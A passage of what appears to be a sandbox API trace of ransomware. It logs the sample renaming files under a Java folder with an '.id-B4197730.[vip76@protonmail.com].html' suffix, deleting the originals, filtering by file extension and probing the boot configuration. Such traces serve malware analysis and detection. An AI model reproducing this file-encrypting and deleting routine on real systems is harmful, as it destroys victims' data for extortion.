	[0207.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll")) returned 0x20
	[0207.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.391] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0207.391] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.391] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.391] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0207.392] GetLastError () returned 0x0
	[0207.392] ReadFile (in: hFile=0x364, lpBuffer=0x41bf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x41bf020*, lpNumberOfBytesRead=0x37bfecc*=0xca750, lpOverlapped=0x0) returned 1
	[0207.430] WriteFile (in: hFile=0x354, lpBuffer=0x41bf020*, nNumberOfBytesToWrite=0xca760, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x41bf020*, lpNumberOfBytesWritten=0x37bfc94*=0xca760, lpOverlapped=0x0) returned 1
	[0207.722] ReadFile (in: hFile=0x364, lpBuffer=0x41bf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x41bf020*, lpNumberOfBytesRead=0x37bfecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.722] WriteFile (in: hFile=0x354, lpBuffer=0x41bf020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x41bf020*, lpNumberOfBytesWritten=0x37bfc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.723] SetEndOfFile (hFile=0x354) returned 1
	[0207.723] CloseHandle (hObject=0x354) returned 1
	[0207.723] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.723] SetEndOfFile (hFile=0x364) returned 1
	[0207.730] CloseHandle (hObject=0x364) returned 1
	[0207.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0207.730] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll")) returned 1
	[0207.730] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59
	[0207.730] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59
	[0207.731] lstrlenW (lpString=".doc") returned 4
	[0207.731] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0207.731] lstrlenW (lpString=".docx") returned 5
	[0207.731] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0207.731] lstrlenW (lpString=".pdf") returned 4
	[0207.731] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0207.731] lstrlenW (lpString=".xls") returned 4
	[0207.731] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0207.731] lstrlenW (lpString=".xlsx") returned 5
	[0207.731] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0207.731] lstrlenW (lpString=".ppt") returned 4
	[0207.731] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0207.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59
	[0207.731] lstrlenW (lpString=".zip") returned 4
	[0207.731] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0207.731] lstrlenW (lpString=".rar") returned 4
	[0207.731] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0207.731] lstrlenW (lpString=".bz2") returned 4
	[0207.731] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0207.731] lstrlenW (lpString=".7z") returned 3
	[0207.731] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0207.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59
	[0207.731] lstrlenW (lpString=".dbf") returned 4
	[0207.731] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0207.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59
	[0207.731] lstrlenW (lpString=".1cd") returned 4
	[0207.731] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0207.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59
	[0207.731] lstrlenW (lpString=".jpg") returned 4
	[0207.731] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0207.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59
	[0207.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59
	[0207.731] lstrlenW (lpString=".doc") returned 4
	[0207.732] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0207.732] lstrlenW (lpString=".docx") returned 5
	[0207.732] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0207.732] lstrlenW (lpString=".pdf") returned 4
	[0207.732] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0207.732] lstrlenW (lpString=".xls") returned 4
	[0207.732] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0207.732] lstrlenW (lpString=".xlsx") returned 5
	[0207.732] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0207.732] lstrlenW (lpString=".ppt") returned 4
	[0207.732] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0207.732] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59
	[0207.732] lstrlenW (lpString=".zip") returned 4
	[0207.732] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0207.732] lstrlenW (lpString=".rar") returned 4
	[0207.732] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0207.732] lstrlenW (lpString=".bz2") returned 4
	[0207.732] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0207.732] lstrlenW (lpString=".7z") returned 3
	[0207.732] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0207.732] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59
	[0207.732] lstrlenW (lpString=".dbf") returned 4
	[0207.732] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0207.732] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59
	[0207.732] lstrlenW (lpString=".1cd") returned 4
	[0207.732] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0207.732] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59
	[0207.732] lstrlenW (lpString=".jpg") returned 4
	[0207.732] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0207.732] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0207.733] lstrlenW (lpString="prism_common.dll") returned 16
	[0207.733] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0208.050] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=57408) returned 1
	[0208.050] CloseHandle (hObject=0x370) returned 1
	[0208.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll")) returned 0x20
	[0208.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.063] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0208.064] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.064] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.064] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0208.064] GetLastError () returned 0x0
	[0208.064] ReadFile (in: hFile=0x370, lpBuffer=0x41bf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x41bf020*, lpNumberOfBytesRead=0x37bfecc*=0xe040, lpOverlapped=0x0) returned 1
	[0208.069] WriteFile (in: hFile=0x354, lpBuffer=0x41bf020*, nNumberOfBytesToWrite=0xe050, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x41bf020*, lpNumberOfBytesWritten=0x37bfc94*=0xe050, lpOverlapped=0x0) returned 1
	[0208.071] ReadFile (in: hFile=0x370, lpBuffer=0x41bf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x41bf020*, lpNumberOfBytesRead=0x37bfecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.071] WriteFile (in: hFile=0x354, lpBuffer=0x41bf020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x41bf020*, lpNumberOfBytesWritten=0x37bfc94*=0xf4, lpOverlapped=0x0) returned 1
	[0208.071] SetEndOfFile (hFile=0x354) returned 1
	[0208.071] CloseHandle (hObject=0x354) returned 1
	[0208.071] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.071] SetEndOfFile (hFile=0x370) returned 1
	[0208.072] CloseHandle (hObject=0x370) returned 1
	[0208.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0208.072] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll")) returned 1
	[0208.073] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55
	[0208.073] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55
	[0208.073] lstrlenW (lpString=".doc") returned 4
	[0208.073] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0208.073] lstrlenW (lpString=".docx") returned 5
	[0208.073] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0208.073] lstrlenW (lpString=".pdf") returned 4
	[0208.073] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0208.073] lstrlenW (lpString=".xls") returned 4
	[0208.073] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0208.073] lstrlenW (lpString=".xlsx") returned 5
	[0208.073] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0208.073] lstrlenW (lpString=".ppt") returned 4
	[0208.073] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0208.073] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55
	[0208.073] lstrlenW (lpString=".zip") returned 4
	[0208.073] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0208.073] lstrlenW (lpString=".rar") returned 4
	[0208.073] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0208.073] lstrlenW (lpString=".bz2") returned 4
	[0208.073] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0208.073] lstrlenW (lpString=".7z") returned 3
	[0208.073] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0208.073] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55
	[0208.073] lstrlenW (lpString=".dbf") returned 4
	[0208.073] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0208.073] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55
	[0208.073] lstrlenW (lpString=".1cd") returned 4
	[0208.073] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0208.073] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55
	[0208.073] lstrlenW (lpString=".jpg") returned 4
	[0208.073] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0208.074] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55
	[0208.074] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55
	[0208.074] lstrlenW (lpString=".doc") returned 4
	[0208.074] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0208.074] lstrlenW (lpString=".docx") returned 5
	[0208.074] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0208.074] lstrlenW (lpString=".pdf") returned 4
	[0208.074] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0208.074] lstrlenW (lpString=".xls") returned 4
	[0208.074] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0208.074] lstrlenW (lpString=".xlsx") returned 5
	[0208.074] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0208.074] lstrlenW (lpString=".ppt") returned 4
	[0208.074] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0208.074] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55
	[0208.074] lstrlenW (lpString=".zip") returned 4
	[0208.074] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0208.074] lstrlenW (lpString=".rar") returned 4
	[0208.074] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0208.074] lstrlenW (lpString=".bz2") returned 4
	[0208.074] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0208.074] lstrlenW (lpString=".7z") returned 3
	[0208.074] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0208.074] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55
	[0208.074] lstrlenW (lpString=".dbf") returned 4
	[0208.074] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0208.074] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55
	[0208.074] lstrlenW (lpString=".1cd") returned 4
	[0208.074] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0208.074] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55
	[0208.074] lstrlenW (lpString=".jpg") returned 4
	[0208.074] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0208.075] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0208.075] lstrlenW (lpString="rmid.exe") returned 8
	[0208.075] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0208.075] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=15936) returned 1
	[0208.076] CloseHandle (hObject=0x370) returned 1
	[0208.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe")) returned 0x20
	[0208.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.076] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0208.076] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.076] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.076] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0208.076] GetLastError () returned 0x0
	[0208.077] ReadFile (in: hFile=0x370, lpBuffer=0x41bf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x41bf020*, lpNumberOfBytesRead=0x37bfecc*=0x3e40, lpOverlapped=0x0) returned 1
	[0208.079] WriteFile (in: hFile=0x354, lpBuffer=0x41bf020*, nNumberOfBytesToWrite=0x3e50, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x41bf020*, lpNumberOfBytesWritten=0x37bfc94*=0x3e50, lpOverlapped=0x0) returned 1
	[0208.080] ReadFile (in: hFile=0x370, lpBuffer=0x41bf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x41bf020*, lpNumberOfBytesRead=0x37bfecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.080] WriteFile (in: hFile=0x354, lpBuffer=0x41bf020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x41bf020*, lpNumberOfBytesWritten=0x37bfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0208.080] SetEndOfFile (hFile=0x354) returned 1
	[0208.081] CloseHandle (hObject=0x354) returned 1
	[0208.081] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.081] SetEndOfFile (hFile=0x370) returned 1
	[0208.432] CloseHandle (hObject=0x370) returned 1
	[0208.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) 

Thread:
	id = 100
	os_tid = 0xfa8

	[0205.137] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x3e23730
	[0205.137] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x3e33738
	[0205.138] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df578
	[0205.138] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x6) returned 0x5ec5f0
	[0205.138] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df4b8
	[0205.138] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x100000) returned 0x42de020
	[0205.151] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df518
	[0205.151] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5df518, Size=0x20) returned 0x59e158
	[0205.151] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df620
	[0205.151] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5df620, Size=0x20) returned 0x59df28
	[0205.151] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0205.151] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0205.151] Wow64DisableWow64FsRedirection (in: OldValue=0x38fff50 | out: OldValue=0x38fff50*=0x0) returned 1
	[0205.151] lstrlenW (lpString="kernel32.dll") returned 12
	[0205.151] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59e158 | out: hHeap=0x560000) returned 1
	[0205.151] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0205.151] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59df28 | out: hHeap=0x560000) returned 1
	[0205.151] Sleep (dwMilliseconds=0x64) 
	[0205.341] Sleep (dwMilliseconds=0x64) 
	[0205.608] lstrlenW (lpString="BCD") returned 3
	[0205.608] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0205.609] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0205.609] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0205.609] lstrlenW (lpString=".doc") returned 4
	[0205.609] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1
	[0205.609] lstrlenW (lpString=".docx") returned 5
	[0205.609] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1
	[0205.609] lstrlenW (lpString=".pdf") returned 4
	[0205.609] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1
	[0205.609] lstrlenW (lpString=".xls") returned 4
	[0205.609] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1
	[0205.609] lstrlenW (lpString=".xlsx") returned 5
	[0205.609] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1
	[0205.609] lstrlenW (lpString=".ppt") returned 4
	[0205.609] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1
	[0205.609] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0205.609] lstrlenW (lpString=".zip") returned 4
	[0205.609] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1
	[0205.609] lstrlenW (lpString=".rar") returned 4
	[0205.609] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1
	[0205.609] lstrlenW (lpString=".bz2") returned 4
	[0205.609] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1
	[0205.609] lstrlenW (lpString=".7z") returned 3
	[0205.609] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0205.609] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0205.609] lstrlenW (lpString=".dbf") returned 4
	[0205.609] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1
	[0205.609] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0205.609] lstrlenW (lpString=".1cd") returned 4
	[0205.609] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1
	[0205.609] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0205.609] lstrlenW (lpString=".jpg") returned 4
	[0205.609] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1
	[0205.610] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0205.610] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0205.610] lstrlenW (lpString=".doc") returned 4
	[0205.610] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1
	[0205.610] lstrlenW (lpString=".docx") returned 5
	[0205.610] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1
	[0205.610] lstrlenW (lpString=".pdf") returned 4
	[0205.610] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1
	[0205.610] lstrlenW (lpString=".xls") returned 4
	[0205.610] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1
	[0205.610] lstrlenW (lpString=".xlsx") returned 5
	[0205.610] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1
	[0205.610] lstrlenW (lpString=".ppt") returned 4
	[0205.610] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1
	[0205.610] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0205.610] lstrlenW (lpString=".zip") returned 4
	[0205.610] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1
	[0205.610] lstrlenW (lpString=".rar") returned 4
	[0205.610] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1
	[0205.610] lstrlenW (lpString=".bz2") returned 4
	[0205.610] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1
	[0205.610] lstrlenW (lpString=".7z") returned 3
	[0205.610] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0205.610] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0205.610] lstrlenW (lpString=".dbf") returned 4
	[0205.610] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1
	[0205.610] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0205.610] lstrlenW (lpString=".1cd") returned 4
	[0205.610] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1
	[0205.610] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0205.610] lstrlenW (lpString=".jpg") returned 4
	[0205.610] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1
	[0205.611] lstrcmpiW (lpString1=".LOG1", lpString2=".html") returned 1
	[0205.611] lstrlenW (lpString="BCD.LOG1") returned 8
